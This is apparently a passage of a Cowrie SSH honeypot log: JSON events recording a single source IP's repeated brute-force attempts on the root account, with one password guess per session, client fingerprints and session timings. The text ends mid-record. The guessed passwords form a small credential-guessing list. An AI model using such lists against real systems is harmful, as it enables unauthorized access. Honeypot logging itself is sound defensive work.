{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:38.801442Z","src_ip":"60.165.124.241","session":"9877a23efe07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alfred","message":"login attempt [root/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:39.562559Z","src_ip":"60.165.124.241","session":"9877a23efe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:40.832271Z","src_ip":"60.165.124.241","session":"9877a23efe07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43346,"dst_ip":"10.17.0.5","dst_port":22,"session":"d39ae3cddea6","protocol":"ssh","message":"New connection: 60.165.124.241:43346 (10.17.0.5:22) [session: d39ae3cddea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:41.054365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:41.059215Z","src_ip":"60.165.124.241","session":"d39ae3cddea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:41.306188Z","src_ip":"60.165.124.241","session":"d39ae3cddea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe123!","message":"login attempt [root/ChangeMe123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:42.033344Z","src_ip":"60.165.124.241","session":"d39ae3cddea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:43.273720Z","src_ip":"60.165.124.241","session":"d39ae3cddea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46320,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a58bcf6addb","protocol":"ssh","message":"New connection: 60.165.124.241:46320 (10.17.0.5:22) [session: 5a58bcf6addb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:43.508551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:43.512354Z","src_ip":"60.165.124.241","session":"5a58bcf6addb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:43.751362Z","src_ip":"60.165.124.241","session":"5a58bcf6addb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9001","message":"login attempt [root/9001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:44.484743Z","src_ip":"60.165.124.241","session":"5a58bcf6addb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:45.724997Z","src_ip":"60.165.124.241","session":"5a58bcf6addb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49180,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6ec480917b","protocol":"ssh","message":"New connection: 60.165.124.241:49180 (10.17.0.5:22) [session: 1d6ec480917b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:45.957356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:45.962043Z","src_ip":"60.165.124.241","session":"1d6ec480917b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:46.199761Z","src_ip":"60.165.124.241","session":"1d6ec480917b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa666666","message":"login attempt [root/Aa666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:46.923379Z","src_ip":"60.165.124.241","session":"1d6ec480917b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:48.163991Z","src_ip":"60.165.124.241","session":"1d6ec480917b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"51b6477faaa0","protocol":"ssh","message":"New connection: 60.165.124.241:52056 (10.17.0.5:22) [session: 51b6477faaa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:48.402025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:48.406582Z","src_ip":"60.165.124.241","session":"51b6477faaa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:48.645950Z","src_ip":"60.165.124.241","session":"51b6477faaa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6YHN6yhn","message":"login attempt [root/6YHN6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:49.371049Z","src_ip":"60.165.124.241","session":"51b6477faaa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:50.615323Z","src_ip":"60.165.124.241","session":"51b6477faaa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55098,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f9a1fc0bff","protocol":"ssh","message":"New connection: 60.165.124.241:55098 (10.17.0.5:22) [session: 02f9a1fc0bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:50.849281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:50.854285Z","src_ip":"60.165.124.241","session":"02f9a1fc0bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:51.095082Z","src_ip":"60.165.124.241","session":"02f9a1fc0bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWE","message":"login attempt [root/123!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:51.823180Z","src_ip":"60.165.124.241","session":"02f9a1fc0bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":50270,"dst_ip":"10.17.0.5","dst_port":22,"session":"609cc8b622c3","protocol":"ssh","message":"New connection: 198.58.117.211:50270 (10.17.0.5:22) [session: 609cc8b622c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:51.919417Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:51.928709Z","src_ip":"198.58.117.211","session":"609cc8b622c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:53.064626Z","src_ip":"60.165.124.241","session":"02f9a1fc0bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57686,"dst_ip":"10.17.0.5","dst_port":22,"session":"97575ec325ba","protocol":"ssh","message":"New connection: 60.165.124.241:57686 (10.17.0.5:22) [session: 97575ec325ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:53.300890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:53.305119Z","src_ip":"60.165.124.241","session":"97575ec325ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:53.543817Z","src_ip":"60.165.124.241","session":"97575ec325ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangzhenhua","message":"login attempt [root/wangzhenhua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:54.268066Z","src_ip":"60.165.124.241","session":"97575ec325ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:55.510676Z","src_ip":"60.165.124.241","session":"97575ec325ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d86746826446","protocol":"ssh","message":"New connection: 60.165.124.241:60708 (10.17.0.5:22) [session: d86746826446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:55.745463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:55.750664Z","src_ip":"60.165.124.241","session":"d86746826446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:55.989901Z","src_ip":"60.165.124.241","session":"d86746826446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wsh19970804@","message":"login attempt [root/Wsh19970804@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:56.721648Z","src_ip":"60.165.124.241","session":"d86746826446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:57.967350Z","src_ip":"60.165.124.241","session":"d86746826446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35270,"dst_ip":"10.17.0.5","dst_port":22,"session":"20b8f9c8d0dd","protocol":"ssh","message":"New connection: 60.165.124.241:35270 (10.17.0.5:22) [session: 20b8f9c8d0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:58.202739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:58.207796Z","src_ip":"60.165.124.241","session":"20b8f9c8d0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hm